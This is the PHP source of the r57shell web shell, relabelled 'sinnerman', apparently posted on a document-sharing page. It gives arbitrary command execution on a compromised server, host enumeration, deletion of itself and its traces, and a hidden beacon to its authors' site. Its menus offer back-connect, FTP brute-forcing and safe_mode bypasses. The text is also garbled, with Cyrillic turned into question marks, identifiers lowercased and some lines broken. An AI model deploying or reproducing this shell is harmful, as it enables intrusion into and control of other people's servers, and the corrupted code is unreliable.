C 99

<?
php
/*********************************************************************************
*********************/
/*
/* # # # #
/* # # # #
/* # # # #
/* # ## #### ## #
/* ## ## ###### ## ##
/* ## ## ###### ## ##
/* ## ## #### ## ##
/* ### ############ ###
/* ########################
/* ##############
/* ######## ########## #######
/* ### ## ########## ## ###
/* ### ## ########## ## ###
/* ### # ########## # ###
/* ### ## ######## ## ###
/* ## # ###### # ##
/* ## # #### # ##
/* ## ##
/*
/*
/* sinnerman - ?????? ?? ??? ??????????? ??? ????????? ????????? ??????? ??
??????? ????? ???????
/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru
/* ??????:
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~*/
/* ????????? ????????????? ?? ?????? ? ????: blf, phoenix, virus, nord ? ????
?????? ?? rst/ghc.
/* ???? ? ??? ???? ?????-???? ???? ?? ?????? ???? ????? ??????? ???????
???????? ? ?????? ?? ??????
/* ?? rst@void.ru. ??? ??????????? ????? ???????????.
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~*/
/* (c)oded by 1dt.w0lf
/* rst/ghc http://rst.void.ru , http://ghc.ru
/*********************************************************************************
*********************/
$language='ru';
$auth = 0;
$name='d41d8cd98f00b204e9800998ecf8427e';
$pass='d41d8cd98f00b204e9800998ecf8427e';
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode = @ini_get('safe_mode');
$version = '1.31';
if(version_compare(phpversion(), '4.1.0') == -1)
{
$_post = &$http_post_vars;
$_get = &$http_get_vars;
$_server = &$http_server_vars;
$_cookie = &$http_cookie_vars;
}
if (@get_magic_quotes_gpc())
{
foreach ($_post as $k=>$v)
{
$_post[$k] = stripslashes($v);
}
foreach ($_cookie as $k=>$v)
{
$_cookie[$k] = stripslashes($v);
}
}
if($auth == 1) {
if (!isset($_server['php_auth_user']) || md5($_server['php_auth_user'])!==$name ||
md5($_server['php_auth_pw'])!==$pass)
{
header('www-authenticate: basic realm="r57shell"');
header('http/1.0 401 unauthorized');
exit("<b><a href=http://rst.void.ru>r57shell</a> : access denied</b>");
}
}
$head = '
<html>
<head>
<title>sinnerman</title>
<meta http-equiv="content-type" content="text/html; charset=windows-1251">
<style>
tr {
border-right: #aaaaaa 1px solid;
border-top: #eeeeee 1px solid;
border-left: #eeeeee 1px solid;
border-bottom: #aaaaaa 1px solid;
color: #000000;
}
td {
border-right: #aaaaaa 1px solid;
border-top: #eeeeee 1px solid;
border-left: #eeeeee 1px solid;
border-bottom: #aaaaaa 1px solid;
color: #000000;
}
.table1 {
border: 0px;
background-color: #d4d0c8;
color: #000000;
}
.td1 {
border: 0px;
font: 7pt verdana;
color: #000000;
}
.tr1 {
border: 0px;
color: #000000;
}
table {
border: #eeeeee 1px outset;
background-color: #d4d0c8;
color: #000000;
}
input {
border-right: #ffffff 1px solid;
border-top: #999999 1px solid;
border-left: #999999 1px solid;
border-bottom: #ffffff 1px solid;
background-color: #e4e0d8;
font: 8pt verdana;
color: #000000;
}
select {
font: 8pt verdana;
color: #000000;;
}
submit {
border: buttonhighlight 2px outset;
width: 30%;
color: #000000;
}
textarea {
font: fixedsys bold;
color: #000000;
}
body {
margin: 1px;
color: #000000;
}
a:link {color:red; text-decoration: none}
a:visited { color:red; text-decoration: none}
a:active {color:red; text-decoration: none}
a:hover {color:blue;text-decoration: none}
</style>
<script language=\'javascript\'>
function hide_div(id)
{
document.getelementbyid(id).style.display = \'none\';
document.cookie=id+\'=0;\';
}
function show_div(id)
{
document.getelementbyid(id).style.display = \'block\';
document.cookie=id+\'=1;\';
}
function change_divst(id)
{
if (document.getelementbyid(id).style.display == \'none\')
show_div(id);
else
hide_div(id);
}
</script>';
if(isset($_get['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font
face=verdana size=-2><b>[ <a href=".$_server['php_self'].">back</a> ]
</b></font></div>"; die(); }
if(isset($_get['delete']))
{
@unlink(__file__);
}
if(isset($_get['tmp']))
{
@unlink("/tmp/bdpl");
@unlink("/tmp/back");
@unlink("/tmp/bd");
@unlink("/tmp/bd.c");
@unlink("/tmp/dp");
@unlink("/tmp/dpc");
@unlink("/tmp/dpc.c");
}
$lang=array(
'ru_text1' =>'??????????? ???????',
'ru_text2' =>'?????????? ?????? ?? ???????',
'ru_text3' =>'????????? ???????',
'ru_text4' =>'??????? ??????????',
'ru_text5' =>'???????? ?????? ?? ??????',
'ru_text6' =>'????????? ????',
'ru_text7' =>'??????',
'ru_text8' =>'???????? ?????',
'ru_butt1' =>'?????????',
'ru_butt2' =>'?????????',
'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
'ru_text10'=>'??????? ????',
'ru_text11'=>'?????? ??? ???????',
'ru_butt3' =>'???????',
'ru_text12'=>'back-connect',
'ru_text13'=>'ip-?????',
'ru_text14'=>'????',
'ru_butt4' =>'?????????',
'ru_text15'=>'???????? ?????? ? ?????????? ???????',
'ru_text16'=>'????????????',
'ru_text17'=>'????????? ????',
'ru_text18'=>'????????? ????',
'ru_text19'=>'exploits',
'ru_text20'=>'????????????',
'ru_text21'=>'????? ???',
'ru_text22'=>'datapipe',
'ru_text23'=>'????????? ????',
'ru_text24'=>'????????? ????',
'ru_text25'=>'????????? ????',
'ru_text26'=>'????????????',
'ru_butt5' =>'?????????',
'ru_text28'=>'?????? ? safe_mode',
'ru_text29'=>'?????? ????????',
'ru_butt6' =>'???????',
'ru_text30'=>'???????? ?????',
'ru_butt7' =>'???????',
'ru_text31'=>'???? ?? ??????',
'ru_text32'=>'?????????? php ????',
'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ???????
curl',
'ru_butt8' =>'?????????',
'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????
include',
'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????
????? ? mysql',
'ru_text36'=>'???? . ???????',
'ru_text37'=>'?????',
'ru_text38'=>'??????',
'ru_text39'=>'????',
'ru_text40'=>'???? ??????? ???? ??????',
'ru_butt9' =>'????',
'ru_text41'=>'????????? ? ?????',
'ru_text42'=>'?????????????? ?????',
'ru_text43'=>'????????????? ????',
'ru_butt10'=>'?????????',
'ru_butt11'=>'?????????????',
'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
'ru_text45'=>'???? ????????',
'ru_text46'=>'???????? phpinfo()',
'ru_text47'=>'???????? ???????? php.ini',
'ru_text48'=>'???????? ????????? ??????',
'ru_text49'=>'???????? ??????? ? ???????',
'ru_text50'=>'?????????? ? ??????????',
'ru_text51'=>'?????????? ? ??????',
'ru_text52'=>'????? ??? ??????',
'ru_text53'=>'?????? ? ?????',
'ru_text54'=>'????? ?????? ? ??????',
'ru_butt12'=>'?????',
'ru_text55'=>'?????? ? ??????',
'ru_text56'=>'?????? ?? ???????',
'ru_text57'=>'???????/??????? ????/??????????',
'ru_text58'=>'???',
'ru_text59'=>'????',
'ru_text60'=>'??????????',
'ru_butt13'=>'???????/???????',
'ru_text61'=>'???? ??????',
'ru_text62'=>'?????????? ???????',
'ru_text63'=>'???? ??????',
'ru_text64'=>'?????????? ???????',
'ru_text65'=>'???????',
'ru_text66'=>'???????',
'ru_text67'=>'chown/chgrp/chmod',
'ru_text68'=>'???????',
'ru_text69'=>'????????1',
'ru_text70'=>'????????2',
'ru_text71'=>"?????? ???????? ???????:\r\n- ??? chown - ??? ??????
???????????? ??? ??? uid (??????) \r\n- ??? ??????? chgrp - ??? ?????? ??? gid
(??????) \r\n- ??? ??????? chmod - ????? ????? ? ???????????? ?????????????
(???????? 0777)",
'ru_text72'=>'????? ??? ??????',
'ru_text73'=>'?????? ? ?????',
'ru_text74'=>'?????? ? ??????',
'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
'ru_text80'=>'???',
'ru_text81'=>'????',
'ru_text82'=>'???? ??????',
'ru_text83'=>'?????????? sql ???????',
'ru_text84'=>'sql ??????',
'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ?????
?????????? ?????? ? mssql ???????',
'ru_text86'=>'?????????? ????? ? ???????',
'ru_butt14'=>'???????',
'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
'ru_text88'=>'ftp-??????:????',
'ru_text89'=>'???? ?? ftp ???????',
'ru_text90'=>'????? ????????',
'ru_text91'=>'???????????? ?',
'ru_text92'=>'??? ?????????',
'ru_text93'=>'ftp',
'ru_text94'=>'ftp-????????',
'ru_text95'=>'?????? ?????????????',
'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
'ru_text97'=>'????????? ??????????: ',
'ru_text98'=>'??????? ???????????: ',
'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ??
/etc/passwd',
'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ????????????
? ???????? ??????',
'ru_text102'=>'?????',
'ru_text103'=>'???????? ??????',
'ru_text104'=>'???????? ????? ?? ???????? ????',
'ru_text105'=>'????',
'ru_text106'=>'??',
'ru_text107'=>'????',
'ru_butt15'=>'?????????',
'ru_text108'=>'????? ??????',
'ru_text109'=>'????????',
'ru_text110'=>'??????????',
'ru_text111'=>'sql-?????? : ????',
'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ?????
????????????? ??????? mb_send_mail',
'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ????????
???????? ?????????? ? ?????????????? imap_list',
'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ????????
??????????? ????? ? ?????????????? imap_body',
'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????????
?????? ? compress.zlib:// ? copy()',
'ru_text116'=>'?????????? ????',
'ru_text117'=>'?',
'ru_text118'=>'???? ??????????',
'ru_text119'=>'?? ??????? ??????????? ????',
'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
'ru_err1'=>'??????! ?? ???? ????????? ???? ',
'ru_err2'=>'??????! ?? ??????? ??????? ',
'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
'ru_err4'=>'?????? ??????????? ?? ftp ???????',
'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
'ru_err6'=>'??????! ?? ??????? ????????? ??????',
'ru_err7'=>'?????? ??????????',
);
$table_up1 = "<tr><td bgcolor=#cccccc><font face=verdana size=-2><b><div
align=center>:: ";
$table_up2 = " ::</div></b></font></td></tr><tr><td>";
$table_up3 = "<table width=100% cellpadding=0 cellspacing=0
bgcolor=#000000><tr><td bgcolor=#cccccc>";
$table_end1 = "</td></tr>";
$arrow = " <font face=webdings color=gray>4</font>";
$lb = "<font color=black>[</font>";
$rb = "<font color=black>]</font>";
$font = "<font face=verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=post>";
$fe = "</form>";
if (!empty($_post['dir'])) { @chdir($_post['dir']); }
$dir = @getcwd();
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
{
$os = getenv('os');
if(empty($os)){ $os = php_uname(); }
if(empty($os)){ $os ="-"; $unix=1; }
else
{
if(@eregi("^win",$os)) { $unix = 0; }
else { $unix = 1; }
}
}
if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
$server_software = getenv('server_software');
if(empty($server_software)){ $server_software = "-"; }
function ws($i)
{
return @str_repeat(" ",$i);
}
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font
color=red face=verdana size=-2><div align=center><b>';
echo $globals['lang'][$globals['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$globals['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xa000 ) { $type='l'; }
else if( $mode & 0xc000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 's';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 's';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 't';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = "<input type=".$type." name=".$name." ";
if($size != 0) { $ret .= "size=".$size." "; }
$ret .= "value=\"".$value."\"";
if($checked) $ret .= " checked";
return $ret.">";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or err(0);
if($w_file)
{
@fputs($w_file,@base64_decode($text));
@fclose($w_file);
}
}
function sr($l,$t1,$t2)
{
return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td
class=td1 align=left>".$t2."</td></tr>";
}
if (!@function_exists("view_size"))
{
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " gb";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " mb";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " kb";}
else {$size = $size . " b";}
return $size;
}
}
$c1 =
"phnjcmlwdcbsyw5ndwfnzt0iamf2yxnjcmlwdci+ag90bg9nx2pzpsixljaio2hvdgxvz19ypsiik01hd
ggucmfuzg9tkckriizzptgxnja2
jmltptemcj0ik2vzy2fwzshkb2n1bwvudc5yzwzlcnjlcikriizwzz0ik2vzy2fwzsh3aw5kb3cubg9jyx
rpb24uahjlzik7zg9jdw1lbnquy29va2l
lpsjob3rsb2c9mtsgcgf0ad0vijsgag90bg9nx3irpsimyz0ikyhkb2n1bwvudc5jb29rawu/ilkioijoi
ik7pc9zy3jpchq+phnjcmlwdcbsyw5ndw
fnzt0iamf2yxnjcmlwddeumsi+ag90bg9nx2pzpsixljeio2hvdgxvz19ykz0ijmo9iisobmf2awdhdg9y
lmphdmffbmfibgvkkck/ilkioijoiik8l
3njcmlwdd48c2nyaxb0igxhbmd1ywdlpsjqyxzhc2nyaxb0ms4yij5ob3rsb2dfanm9ijeumii7ag90bg9
nx3irpsimd2g9iitzy3jlzw4ud2lkdggr
j3gnk3njcmvlbi5ozwlnahqriizwed0ikygokg5hdmlnyxrvci5hchboyw1llnn1ynn0cmluzygwldmppt
0itwljiikpp3njcmvlbi5jb2xvckrlchr
oonnjcmvlbi5waxhlberlchroktwvc2nyaxb0pjxzy3jpchqgbgfuz3vhz2u9imphdmfzy3jpchqxljmip
mhvdgxvz19qcz0ims4zijwvc2nyaxb0pj
xzy3jpchqgbgfuz3vhz2u9imphdmfzy3jpchqipmhvdgxvz19ykz0ijmpzpsirag90bg9nx2pzo2rvy3vt
zw50lndyaxrlkci8ysbocmvmpsdodhrwo
i8vy2xpy2suag90bg9nlnj1lz84mtywnicgdgfyz2v0psdfdg9wjz48aw1niciriibzcmm9j2h0dha6ly9
oaxq0lmhvdgxvzy5yds9jz2ktymlul2hv
dgxvzy9jb3vudd8ik2hvdgxvz19ykyimjybib3jkzxi9mcb3awr0ad0xighlawdodd0xigfsdd0xpjwvyt
4iktwvc2nyaxb0pjxub3njcmlwdd48ysb
ocmvmpwh0dha6ly9jbgljay5ob3rsb2cucnuvpzgxnja2ihrhcmdldd1fdg9wpjxpbwdzcmm9imh0dha6l
y9oaxq0lmhvdgxvzy5yds9jz2ktymlul2
hvdgxvzy9jb3vudd9zptgxnja2jmltpteiigjvcmrlcj0wd2lkdgg9ijeiighlawdodd0imsigywx0psji
b3rmb2cipjwvyt48l25vc2nyaxb0pg==";
$c2 =
"pcetluxpdmvjbnrlcm5ldcbjb3vudgvyls0+phnjcmlwdcbsyw5ndwfnzt0ismf2yvnjcmlwdci+pcetl
q0kzg9jdw1lbnqud3jpdguojzxh
ighyzwy9imh0dha6ly93d3cubgl2zwludgvybmv0lnj1l2nsawnriiankw0kj3rhcmdldd1fymxhbms+pg
ltzybzcmm9imh0dha6ly9jb3vudgvylnl
hzhjvlnj1l2hpdd90ntiunjtyjysncmvzy2fwzshkb2n1bwvudc5yzwzlcnjlcikrkch0exblb2yoc2nyz
wvukt09j3vuzgvmaw5lzccppycnog0kjz
tzjytzy3jlzw4ud2lkdggrjyonk3njcmvlbi5ozwlnahqrjyonkyhzy3jlzw4uy29sb3jezxb0ad8ncnnj
cmvlbi5jb2xvckrlchroonnjcmvlbi5wa
xhlberlchrokskrjzsnk01hdggucmfuzg9tkckrdqoniibhbhq9imxpdmvpbnrlcm5ldc5ydtog7+7q4of
g7e4g9+jx6+4g7/du8ezu8vdu4idoio/u
8exy6pll6+xpiofgidi0ipfg8eaiiccrdqonym9yzgvyptagd2lkdgg9mcbozwlnahq9md48l2e+jykvly
0tpjwvc2nyaxb0pjwhls0vtgl2zuludgv
ybmv0ls0+";
if($unix)
{
if(!isset($_cookie['uname'])) { $uname = ex('uname -a');
setcookie('uname',$uname); } else { $uname = $_cookie['uname']; }
if(!isset($_cookie['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id =
$_cookie['id']; }
if($safe_mode) { $sysctl = '-'; }
else if(isset($_cookie['sysctl'])) { $sysctl = $_cookie['sysctl']; }
else
{
$sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n
kernel.osrelease'); }
if(empty($sysctl)) { $sysctl = '-'; }
setcookie('sysctl',$sysctl);
}
}
echo $head;
echo '</head>';
if(empty($_post['cmd'])) {
$serv = array(127,192,172,10);
$addr=@explode('.', $_server['server_addr']);
$current_version = str_replace('.','',$version);
if (!in_array($addr[0], $serv)) {
@print "<img
src=\"http://rst.void.ru/r57shell_version/version.php?img=1&version=".$current_ver
sion."\" border=0 height=0 width=0>";
@readfile
("http://rst.void.ru/r57shell_version/version.php?version=".$current_version."");}
}
echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td
bgcolor=#cccccc width=160><font face=verdana size=2>'.ws(2).'<font face=webdings
size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b></font></td><td
bgcolor=#cccccc><font face=verdana size=-2>';
echo ws(2)."<b>".date ("d-m-y h:i:s")."</b>";
echo ws(2).$lb." <a href=".$_server['php_self']."?phpinfo
title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_server['php_self']."?tmp
title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
echo ws(2).$lb." <a href=".$_server['php_self']."?delete
title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
echo ws(2)."safe_mode: <b>";
echo (($safe_mode)?("<font color=green>on</font>"):("<font
color=red>off</font>"));
echo "</b>".ws(2);
echo "php version: <b>".@phpversion()."</b>";
$curl_on = @function_exists('curl_version');
echo ws(2);
echo "curl: <b>".(($curl_on)?("<font color=green>on</font>"):("<font
color=red>off</font>"));
echo "</b>".ws(2);
echo "mysql: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>on</font>"; } else { echo "<font color=red>off</font>"; }
echo "</b>".ws(2);
echo "mssql: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>on</font>";}else{echo "<font
color=red>off</font>";}
echo "</b>".ws(2);
echo "postgresql: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>on</font>";}else{echo "<font
echo "</b>".ws(2);
echo "oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>on</font>";}else{echo "<font
echo "</b><br>".ws(2);
echo "disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font
color=green>none</font></b>";}else{echo "<font color=red>$df</font></b>";}
$free = @diskfreespace($dir);
if (!$free) {$free = 0;}
$all = @disk_total_space($dir);
if (!$all) {$all = 0;}
echo "<br>".ws(2)."free space : <b>".view_size($free)."</b> total space:
<b>".view_size($all)."</b>";
echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>';
echo $font;
if($unix){
echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$ostype
:'.ws(1).'<br>server :'.ws(1).'<br>id :'.ws(1).'<br>pwd
:'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=verdana size=-2 color=red><b>";
echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_una
me(),0,120)."<br>"));
echo ws(3).$sysctl."<br>";
echo ws(3).ex('echo $ostype')."<br>";
echo ws(3).@substr($server_software,0,120)."<br>";
if(!empty($id)) { echo ws(3).$id."<br>"; }
else if(function_exists('posix_geteuid') && function_exists('posix_getegid') &&
function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
{
$euserinfo = @posix_getpwuid(@posix_geteuid());
$egroupinfo = @posix_getgrgid(@posix_getegid());
echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' )
gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
}
else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()."
gid=".@getmygid()."<br>";
echo ws(3).$dir;
echo ws(3).'( '.perms(@fileperms($dir)).' )';
echo "</b></font>";
}
else
{
echo '<font color=blue><b>os :'.ws(1).'<br>server :'.ws(1).'<br>user
:'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
echo "</td><td>";
echo "<font face=verdana size=-2 color=red><b>";
echo ws(3).@substr(@php_uname(),0,120)."<br>";
echo ws(3).@substr($server_software,0,120)."<br>";
echo ws(3).@getenv("username")."<br>";
echo ws(3).$dir;
echo "<br></font>";
}
echo "</font>";
echo "</td></tr></table>";
if(empty($c1)||empty($c2)) { die(); }
$f = '<br>';
$f .= base64_decode($c1);
$f .= base64_decode($c2);
echo $table_up3;
if (empty($_post['cmd'])&&!$safe_mode) { $_post['cmd']=(!$unix)?("dir"):("ls
-lia"); }
else if(empty($_post['cmd'])&&$safe_mode){ $_post['cmd']="safe_dir"; }
echo $font.$lang[$language.'_text1'].":
<b>".$_post['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea
name=report cols=121 rows=15>";
if($safe_mode)
{
switch($_post['cmd'])
{
case 'safe_dir':
$d=@dir($dir);
if ($d)
{
while (false!==($file=$d->read()))
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime,
$mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.y h:i",$mtime);
if(@is_dir($file)) echo " <dir> "; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.y h:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
else echo $lang[$language._text29];
break;
}
}
else
if(($_post['cmd']!="php_eval")&&($_post['cmd']!="mysql_dump")&&($_post['cmd']!="db
_query")&&($_post['cmd']!="ftp_brute")){
$cmd_rep = ex($_post['cmd']);
if(!$unix) { echo
@htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; }
else { echo @htmlspecialchars($cmd_rep)."\n"; }}
echo "</textarea></div>";
echo "</b>";
echo "</td></tr></table>";
echo "<table width=100% cellpadding=0 cellspacing=0>";
function div_title($title, $id)
{
return '<a style="cursor: pointer;"
onclick="change_divst(\''.$id.'\');">'.$title.'</a>';
}
function div($id)
{
if(isset($_cookie[$id]) && $_cookie[$id]==0) return '<div id="'.$id.'"
style="display: none;">';
return '<div id="'.$id.'">';
}
if(!$safe_mode){
echo
$fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$t
s;
echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
echo
sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4)
.in('submit','submit',0,$lang[$language.'_butt1']));
echo $te.'</div>'.$table_end1.$fe;
}
else{
echo
$fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$
ts;
echo
sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('h
idden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])
);
echo $te.'</div>'.$table_end1.$fe;
}
echo '</table>'.$table_up3."</div></div><div align=center id='n'><font
face=verdana size=-2><b>o---[ sinnerman - http-shell by rst/ghc | <a
href=http://rst.void.ru>http://rst.void.ru</a> | <a
href=http://ghc.ru>http://ghc.ru</a> | version ".$version." ]---
o</b></font></div></td></tr></table>".$f;
echo '</body></html>';
?>

C 99

Загружено:

Сведения о документе

Оригинальное название

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

C 99

Загружено:

Авторское право:

Доступные форматы

<?

Вам также может понравиться